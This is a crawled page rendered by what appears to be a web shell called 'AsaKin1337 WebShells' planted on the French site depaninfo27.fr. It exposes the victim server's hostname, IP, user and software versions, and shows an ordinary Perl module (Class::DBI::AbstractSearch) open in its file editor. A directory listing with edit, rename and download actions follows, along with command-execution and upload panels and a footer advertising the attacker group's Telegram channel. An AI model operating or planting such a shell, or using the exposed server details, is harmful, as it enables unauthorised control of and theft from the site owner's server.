depaninfo27.fr - AsaKin1337 WebShells

! AsaKin1337 WebShells Priv8 Version !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux vps90796 5.10.70 #1 SMP Mon Nov 22 15:13:33 CET 2021 x86_64 User: web39 Software: Apache IP: 185.98.128.85 PHP: 8.3.12 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/Class/DBI/

Edit File: AbstractSearch.pm

package Class::DBI::AbstractSearch;

use strict;
use vars qw($VERSION @EXPORT);
$VERSION = 0.07;

require Exporter;
*import = \&Exporter::import;
@EXPORT = qw(search_where);

use SQL::Abstract::Limit;

sub search_where {
    my $class = shift;
    my $where = (ref $_[0]) ? $_[0]          : { @_ };
    my $attr  = (ref $_[0]) ? $_[1]          : undef;
    my $order = ($attr)     ? delete($attr->{order_by}) : undef;
    my $limit  = ($attr)    ? delete($attr->{limit})    : undef;
    my $offset = ($attr)    ? delete($attr->{offset})   : undef;

# order is deprecated, but still backward compatible
    if ($attr && exists($attr->{order})) {
	$order = delete($attr->{order});
    }

$class->can('retrieve_from_sql') or do {
	require Carp;
	Carp::croak("$class should inherit from Class::DBI >= 0.90");
    };
    my $sql = SQL::Abstract::Limit->new(%$attr);
    my($phrase, @bind) = $sql->where($where, $order, $limit, $offset);
    $phrase =~ s/^\s*WHERE\s*//i;
    return $class->retrieve_from_sql($phrase, @bind);
}

1;
__END__

=head1 NAME

Class::DBI::AbstractSearch - Abstract Class::DBI's SQL with SQL::Abstract::Limit

=head1 SYNOPSIS

package CD::Music;
  use Class::DBI::AbstractSearch;

package main;
  my @music = CD::Music->search_where(
      artist => [ 'Ozzy', 'Kelly' ],
      status => { '!=', 'outdated' },
  );

my @misc = CD::Music->search_where(
      { artist => [ 'Ozzy', 'Kelly' ],
        status => { '!=', 'outdated' } },
      { order_by      => "reldate DESC",
        limit_dialect => 'LimitOffset',
        limit         => 1
        offset        => 2 });

=head1 DESCRIPTION

Class::DBI::AbstractSearch is a Class::DBI plugin to glue
SQL::Abstract::Limit into Class::DBI.

=head1 METHODS

Using this module adds following methods into your data class.

=over 4

=item search_where

$class->search_where(%where);

Takes a hash to specify WHERE clause. See L<SQL::Abstract> for hash
options.

$class->search_where(\%where,\%attrs);

Takes hash reference to specify WHERE clause. See L<SQL::Abstract>
for hash options. Takes a hash reference to specify additional query
attributes. Class::DBI::AbstractSearch uses these attributes:

=over 4

=item *

B<order_by>

Array reference of fields that will be used to order the results of
your query.

=item *

B<limit_dialect>

Scalar, DBI handle, object class, etc. that describes the syntax model
for a LIMIT/OFFSET SQL clause.  Please see SQL::Abstract::Limit
for more information.

=item *

B<limit>

Scalar value that will be used for LIMIT argument in a query.

=item *

B<offset>

Scalar value that will be used for OFFSET argument in a query.

=back

Any other attributes are passed to the SQL::Abstract::Limit constructor,
and can be used to control how queries are created.  For example,
to use 'AND' instead of 'OR' by default, use:

$class->search_where(\%where, { logic => 'AND' });

=back

=head1 AUTHOR

Tatsuhiko Miyagawa E<lt>miyagawa@bulknews.netE<gt> with some help from
cdbi-talk mailing list, especially:

Tim Bunce
  Simon Wilcox
  Tony Bowden

This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself.

=head1 SEE ALSO

L<Class::DBI>, L<SQL::Abstract>, L<SQL::Abstract::Limit>

=cut

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
AbstractSearch.pm	3.18 KB	01.01.2021 16:02:11	0/0	-rw-r--r--	Edit Rename Download
Attribute.pm	685 B	06.06.2004 10:14:06	0/0	-rw-r--r--	Edit Rename Download
Cascade	DIR	10.04.2024 07:31:53	0/0	drwxr-xr-x	Edit Rename
Column.pm	1.36 KB	16.09.2005 20:13:16	0/0	-rw-r--r--	Edit Rename Download
ColumnGrouper.pm	3.61 KB	14.09.2005 20:13:11	0/0	-rw-r--r--	Edit Rename Download
Iterator.pm	2.23 KB	11.09.2005 10:26:24	0/0	-rw-r--r--	Edit Rename Download
Query.pm	4.17 KB	25.04.2004 15:33:36	0/0	-rw-r--r--	Edit Rename Download
Relationship	DIR	10.04.2024 07:31:53	0/0	drwxr-xr-x	Edit Rename
Relationship.pm	4.02 KB	16.09.2005 18:42:52	0/0	-rw-r--r--	Edit Rename Download
SQL	DIR	10.04.2024 07:31:53	0/0	drwxr-xr-x	Edit Rename
Search	DIR	10.04.2024 07:31:53	0/0	drwxr-xr-x	Edit Rename
Test	DIR	10.04.2024 07:31:53	0/0	drwxr-xr-x	Edit Rename
mysql.pm	5.79 KB	03.09.2005 21:47:02	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ AsaKin1337 WebShells Priv8 Version5 (01.07.2025) SINDIKAT 777 TEAM | https://t.me/AsaKin1337 | Generation time: 1780009657.8825 ]--